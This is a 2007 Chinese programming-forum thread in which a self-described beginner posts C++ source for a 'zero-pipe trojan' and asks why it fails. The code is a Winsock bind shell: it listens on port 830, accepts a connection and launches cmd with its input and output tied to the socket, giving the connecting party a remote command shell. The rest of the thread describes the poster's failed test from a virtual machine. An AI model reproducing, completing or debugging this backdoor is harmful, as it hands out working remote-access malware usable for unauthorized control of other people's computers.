我来我网
https://5come5.cn
 
您尚未 登录  注册 | 菠菜 | 软件站 | 音乐站 | 邮箱1 | 邮箱2 | 风格选择 | 更多 » 
 

本页主题: 求教:一个程序运行没有达到预期效果 显示签名 | 打印 | 加为IE收藏 | 收藏主题 | 上一主题 | 下一主题

gzerone



性别: 帅哥 状态: 该用户目前不在线
等级: 栋梁之材
发贴: 674
威望: 0
浮云: 1122
在线等级:
注册时间: 2006-12-10
最后登陆: 2008-06-30

5come5帮你背单词 [ doom /du:m/ n. 命运,厄运,末日审判;vt. 命定,判决 ]


求教:一个程序运行没有达到预期效果

以下是个零管道木马程序
// CMDPipe0.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <winsock2.h>
#pragma comment(lib,"Ws2_32.lib")

int main()
{
   WSADATA ws;
   SOCKET listenfd;
   int ret;
   //初始化wsa
   WSAStartup(MAKEWORD(2,2),&ws);
   // 建立socket,注意要用WSASocket
   listenfd=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
  //[屏蔽]本机830端口
   struct sockaddr_in server;
   server.sin_family=AF_INET;
   server.sin_port=htons(830);
   server.sin_addr.s_addr=INADDR_ANY;
   ret=bind(listenfd,(struct sockaddr *)&server,sizeof(server));
   ret=listen(listenfd,2);
   //如果客户端请求830端口,接受连接
   int iAddrSize=sizeof(server);
   SOCKET clientfd=accept(listenfd,(struct sockaddr *)&server,&iAddrSize);
   STARTUPINFO si;
   ZeroMemory(&si,sizeof(si));
  si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
   si.wShowWindow=SW_HIDE;
   si.wShowWindow=SW_SHOWNORMAL;
   si.hStdInput=si.hStdOutput=si.hStdError=(void *)clientfd; //零管道通信的关键!!!
  char cmdLine[]="cmd";
   PROCESS_INFORMATION ProcessInformation;
   //建立进程
   ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);

  return 0;
}
,但在实现过程中出了点问题.首先我在本机上编译运行该文件,以使本机处于830端口的[屏蔽]状态,系统弹出如下图01所示控制台的窗口
顶端 Posted: 2007-03-03 21:21 | [楼 主]
gzerone



性别: 帅哥 状态: 该用户目前不在线
等级: 栋梁之材
发贴: 674
威望: 0
浮云: 1122
在线等级:
注册时间: 2006-12-10
最后登陆: 2008-06-30

5come5帮你背单词 [ pear /p/ə/ n. 梨(树) ]


然后,我在虚拟机对本机进行连接,打算接收开放的cmd shell,如若成功本应当如下图04所示,可以对本机进行相应的dos指令的操作
远程图片:04.JPG
顶端 Posted: 2007-03-03 21:22 | [1 楼]
gzerone



性别: 帅哥 状态: 该用户目前不在线
等级: 栋梁之材
发贴: 674
威望: 0
浮云: 1122
在线等级:
注册时间: 2006-12-10
最后登陆: 2008-06-30

5come5帮你背单词 [ disturbance /dis'tə:bəns/ n. 动乱,骚动,打扰,干扰,(身心)失调 ]


可是运行结果却是本机控制台窗口如图02,虚拟机上客户端的窗口却没有任何反应,按下任意键后仍然没有获得本机的shell ,还在自己的虚拟机上如图03.根据主机的反应,我想它应当是受到了客户端的请求的,主要原因应当在cmd进程的通信过程出了差错,可我还只是个初学者,毕竟学习还不够深入,一些细节还不够清楚,故而恳请各位蝈蝈指点.

谢谢!!!!!!!!!!!
远程图片:02.JPG 远程图片:03.JPG
顶端 Posted: 2007-03-03 21:23 | [2 楼]
gzerone



性别: 帅哥 状态: 该用户目前不在线
等级: 栋梁之材
发贴: 674
威望: 0
浮云: 1122
在线等级:
注册时间: 2006-12-10
最后登陆: 2008-06-30

5come5帮你背单词 [ tonight /tə'nait/ ad. & n. 今晚,今夜 ]


是虚拟机连主机
顶端 Posted: 2007-03-04 11:34 | [3 楼]
我来我网·5come5 Forum » 程序员之家

Total 0.055057(s) query 6, Time now is:11-23 18:26, Gzip enabled
Powered by PHPWind v5.3, Localized by 5come5 Tech Team, 黔ICP备16009856号